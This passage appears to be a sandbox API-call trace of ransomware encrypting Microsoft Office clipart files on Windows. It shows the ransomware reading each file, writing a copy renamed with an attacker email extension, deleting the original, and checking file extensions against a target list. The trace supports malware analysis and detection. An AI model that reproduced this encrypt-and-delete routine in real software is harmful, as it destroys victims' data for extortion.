	[0207.494] SetEndOfFile (hFile=0x380) returned 1
	[0207.494] CloseHandle (hObject=0x380) returned 1
	[0207.494] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32bfec0 | out: lpNewFilePointer=0x0) returned 1
	[0207.494] SetEndOfFile (hFile=0x37c) returned 1
	[0207.495] CloseHandle (hObject=0x37c) returned 1
	[0207.495] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0207.495] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01191_.wmf")) returned 1
	[0207.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 68
	[0207.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 68
	[0207.496] lstrlenW (lpString=".doc") returned 4
	[0207.496] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0207.496] lstrlenW (lpString=".docx") returned 5
	[0207.496] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0207.496] lstrlenW (lpString=".pdf") returned 4
	[0207.496] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0207.496] lstrlenW (lpString=".xls") returned 4
	[0207.496] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0207.496] lstrlenW (lpString=".xlsx") returned 5
	[0207.496] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0207.496] lstrlenW (lpString=".ppt") returned 4
	[0207.496] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0207.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 68
	[0207.496] lstrlenW (lpString=".zip") returned 4
	[0207.496] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0207.496] lstrlenW (lpString=".rar") returned 4
	[0207.497] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0207.497] lstrlenW (lpString=".bz2") returned 4
	[0207.497] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0207.497] lstrlenW (lpString=".7z") returned 3
	[0207.497] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0207.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 68
	[0207.497] lstrlenW (lpString=".dbf") returned 4
	[0207.497] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0207.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 68
	[0207.497] lstrlenW (lpString=".1cd") returned 4
	[0207.497] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0207.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 68
	[0207.497] lstrlenW (lpString=".jpg") returned 4
	[0207.497] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0207.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 68
	[0207.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 68
	[0207.497] lstrlenW (lpString=".doc") returned 4
	[0207.497] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0207.497] lstrlenW (lpString=".docx") returned 5
	[0207.497] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0207.497] lstrlenW (lpString=".pdf") returned 4
	[0207.497] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0207.497] lstrlenW (lpString=".xls") returned 4
	[0207.497] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0207.497] lstrlenW (lpString=".xlsx") returned 5
	[0207.497] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0207.497] lstrlenW (lpString=".ppt") returned 4
	[0207.497] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0207.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 68
	[0207.497] lstrlenW (lpString=".zip") returned 4
	[0207.497] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0207.497] lstrlenW (lpString=".rar") returned 4
	[0207.497] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0207.498] lstrlenW (lpString=".bz2") returned 4
	[0207.498] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0207.498] lstrlenW (lpString=".7z") returned 3
	[0207.498] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0207.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 68
	[0207.498] lstrlenW (lpString=".dbf") returned 4
	[0207.498] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0207.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 68
	[0207.498] lstrlenW (lpString=".1cd") returned 4
	[0207.498] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0207.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 68
	[0207.498] lstrlenW (lpString=".jpg") returned 4
	[0207.498] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0207.498] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0207.498] lstrlenW (lpString="FD02097_.WMF") returned 12
	[0207.498] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02097_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0207.499] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x32bff14 | out: lpFileSize=0x32bff14*=1564) returned 1
	[0207.499] CloseHandle (hObject=0x37c) returned 1
	[0207.499] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02097_.wmf")) returned 0x220
	[0207.499] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02097_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0207.499] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02097_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0207.499] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32bfec0 | out: lpNewFilePointer=0x0) returned 1
	[0207.499] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32bfec0 | out: lpNewFilePointer=0x0) returned 1
	[0207.499] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02097_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0207.500] GetLastError () returned 0x0
	[0207.500] ReadFile (in: hFile=0x37c, lpBuffer=0x3e7f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7f020*, lpNumberOfBytesRead=0x32bfecc*=0x61c, lpOverlapped=0x0) returned 1
	[0207.501] WriteFile (in: hFile=0x380, lpBuffer=0x3e7f020*, nNumberOfBytesToWrite=0x620, lpNumberOfBytesWritten=0x32bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7f020*, lpNumberOfBytesWritten=0x32bfc94*=0x620, lpOverlapped=0x0) returned 1
	[0207.502] ReadFile (in: hFile=0x37c, lpBuffer=0x3e7f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7f020*, lpNumberOfBytesRead=0x32bfecc*=0x0, lpOverlapped=0x0) returned 1
	[0207.502] WriteFile (in: hFile=0x380, lpBuffer=0x3e7f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x32bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7f020*, lpNumberOfBytesWritten=0x32bfc94*=0xec, lpOverlapped=0x0) returned 1
	[0207.502] SetEndOfFile (hFile=0x380) returned 1
	[0207.502] CloseHandle (hObject=0x380) returned 1
	[0207.502] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32bfec0 | out: lpNewFilePointer=0x0) returned 1
	[0207.502] SetEndOfFile (hFile=0x37c) returned 1
	[0207.503] CloseHandle (hObject=0x37c) returned 1
	[0207.503] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0207.504] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02097_.wmf")) returned 1
	[0207.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 68
	[0207.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 68
	[0207.504] lstrlenW (lpString=".doc") returned 4
	[0207.504] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0207.504] lstrlenW (lpString=".docx") returned 5
	[0207.504] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0207.504] lstrlenW (lpString=".pdf") returned 4
	[0207.504] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0207.504] lstrlenW (lpString=".xls") returned 4
	[0207.504] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0207.504] lstrlenW (lpString=".xlsx") returned 5
	[0207.504] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0207.504] lstrlenW (lpString=".ppt") returned 4
	[0207.504] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0207.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 68
	[0207.504] lstrlenW (lpString=".zip") returned 4
	[0207.505] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0207.505] lstrlenW (lpString=".rar") returned 4
	[0207.505] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0207.505] lstrlenW (lpString=".bz2") returned 4
	[0207.505] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0207.505] lstrlenW (lpString=".7z") returned 3
	[0207.505] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0207.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 68
	[0207.505] lstrlenW (lpString=".dbf") returned 4
	[0207.505] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0207.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 68
	[0207.505] lstrlenW (lpString=".1cd") returned 4
	[0207.505] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0207.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 68
	[0207.505] lstrlenW (lpString=".jpg") returned 4
	[0207.505] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0207.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 68
	[0207.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 68
	[0207.505] lstrlenW (lpString=".doc") returned 4
	[0207.505] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0207.505] lstrlenW (lpString=".docx") returned 5
	[0207.505] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0207.505] lstrlenW (lpString=".pdf") returned 4
	[0207.505] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0207.505] lstrlenW (lpString=".xls") returned 4
	[0207.505] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0207.505] lstrlenW (lpString=".xlsx") returned 5
	[0207.505] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0207.505] lstrlenW (lpString=".ppt") returned 4
	[0207.505] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0207.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 68
	[0207.505] lstrlenW (lpString=".zip") returned 4
	[0207.505] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0207.506] lstrlenW (lpString=".rar") returned 4
	[0207.506] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0207.506] lstrlenW (lpString=".bz2") returned 4
	[0207.506] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0207.506] lstrlenW (lpString=".7z") returned 3
	[0207.506] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0207.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 68
	[0207.506] lstrlenW (lpString=".dbf") returned 4
	[0207.506] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0207.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 68
	[0207.506] lstrlenW (lpString=".1cd") returned 4
	[0207.506] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0207.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 68
	[0207.506] lstrlenW (lpString=".jpg") returned 4
	[0207.506] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0207.506] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0207.506] lstrlenW (lpString="FD02115_.WMF") returned 12
	[0207.506] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02115_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0207.506] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x32bff14 | out: lpFileSize=0x32bff14*=4660) returned 1
	[0207.506] CloseHandle (hObject=0x37c) returned 1
	[0207.507] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02115_.wmf")) returned 0x220
	[0207.507] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02115_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0207.507] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02115_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0207.507] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32bfec0 | out: lpNewFilePointer=0x0) returned 1
	[0207.507] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32bfec0 | out: lpNewFilePointer=0x0) returned 1
	[0207.507] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02115_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0207.508] GetLastError () returned 0x0
	[0207.508] ReadFile (in: hFile=0x37c, lpBuffer=0x3e7f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7f020*, lpNumberOfBytesRead=0x32bfecc*=0x1234, lpOverlapped=0x0) returned 1
	[0207.509] WriteFile (in: hFile=0x380, lpBuffer=0x3e7f020*, nNumberOfBytesToWrite=0x1240, lpNumberOfBytesWritten=0x32bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7f020*, lpNumberOfBytesWritten=0x32bfc94*=0x1240, lpOverlapped=0x0) returned 1
	[0207.510] ReadFile (in: hFile=0x37c, lpBuffer=0x3e7f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7f020*, lpNumberOfBytesRead=0x32bfecc*=0x0, lpOverlapped=0x0) returned 1
	[0207.510] WriteFile (in: hFile=0x380, lpBuffer=0x3e7f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x32bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7f020*, lpNumberOfBytesWritten=0x32bfc94*=0xec, lpOverlapped=0x0) returned 1
	[0207.511] SetEndOfFile (hFile=0x380) returned 1
	[0207.511] CloseHandle (hObject=0x380) returned 1
	[0207.511] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32bfec0 | out: lpNewFilePointer=0x0) returned 1
	[0207.511] SetEndOfFile (hFile=0x37c) returned 1
	[0207.512] CloseHandle (hObject=0x37c) returned 1
	[0207.512] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0207.512] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02115_.wmf")) returned 1
	[0207.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 68
	[0207.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 68
	[0207.513] lstrlenW (lpString=".doc") returned 4
	[0207.513] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0207.513] lstrlenW (lpString=".docx") returned 5
	[0207.513] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0207.513] lstrlenW (lpString=".pdf") returned 4
	[0207.513] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0207.513] lstrlenW (lpString=".xls") returned 4
	[0207.513] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0207.513] lstrlenW (lpString=".xlsx") returned 5
	[0207.513] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0207.513] lstrlenW (lpString=".ppt") returned 4
	[0207.513] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0207.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 68
	[0207.513] lstrlenW (lpString=".zip") returned 4
	[0207.513] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0207.513] lstrlenW (lpString=".rar") returned 4
	[0207.513] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0207.513] lstrlenW (lpString=".bz2") returned 4
	[0207.513] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0207.513] lstrlenW (lpString=".7z") returned 3
	[0207.513] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0207.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 68
	[0207.513] lstrlenW (lpString=".dbf") returned 4
	[0207.513] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0207.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 68
	[0207.513] lstrlenW (lpString=".1cd") returned 4
	[0207.513] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0207.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 68
	[0207.513] lstrlenW (lpString=".jpg") returned 4
	[0207.513] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0207.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 68
	[0207.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 68
	[0207.514] lstrlenW (lpString=".doc") returned 4
	[0207.514] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0207.514] lstrlenW (lpString=".docx") returned 5
	[0207.514] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0207.514] lstrlenW (lpString=".pdf") returned 4
	[0207.514] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0207.514] lstrlenW (lpString=".xls") returned 4
	[0207.514] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0207.514] lstrlenW (lpString=".xlsx") returned 5
	[0207.514] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0207.514] lstrlenW (lpString=".ppt") returned 4
	[0207.514] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0207.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 68
	[0207.514] lstrlenW (lpString=".zip") returned 4
	[0207.514] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0207.514] lstrlenW (lpString=".rar") returned 4
	[0207.514] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0207.514] lstrlenW (lpString=".bz2") returned 4
	[0207.514] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0207.514] lstrlenW (lpString=".7z") returned 3
	[0207.514] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0207.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 68
	[0207.514] lstrlenW (lpString=".dbf") returned 4
	[0207.514] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0207.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 68
	[0207.515] lstrlenW (lpString=".1cd") returned 4
	[0207.515] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0207.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 68
	[0207.515] lstrlenW (lpString=".jpg") returned 4
	[0207.515] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0207.515] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0207.515] lstrlenW (lpString="FD02116_.WMF") returned 12
	[0207.515] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02116_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0207.515] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x32bff14 | out: lpFileSize=0x32bff14*=3988) returned 1
	[0207.515] CloseHandle (hObject=0x37c) returned 1
	[0207.515] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02116_.wmf")) returned 0x220
	[0207.515] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02116_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0207.515] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02116_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0207.516] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32bfec0 | out: lpNewFilePointer=0x0) returned 1
	[0207.516] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32bfec0 | out: lpNewFilePointer=0x0) returned 1
	[0207.516] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02116_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0207.516] GetLastError () returned 0x0
	[0207.517] ReadFile (in: hFile=0x37c, lpBuffer=0x3e7f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7f020*, lpNumberOfBytesRead=0x32bfecc*=0xf94, lpOverlapped=0x0) returned 1
	[0207.517] WriteFile (in: hFile=0x380, lpBuffer=0x3e7f020*, nNumberOfBytesToWrite=0xfa0, lpNumberOfBytesWritten=0x32bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7f020*, lpNumberOfBytesWritten=0x32bfc94*=0xfa0, lpOverlapped=0x0) returned 1
	[0207.519] ReadFile (in: hFile=0x37c, lpBuffer=0x3e7f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7f020*, lpNumberOfBytesRead=0x32bfecc*=0x0, lpOverlapped=0x0) returned 1
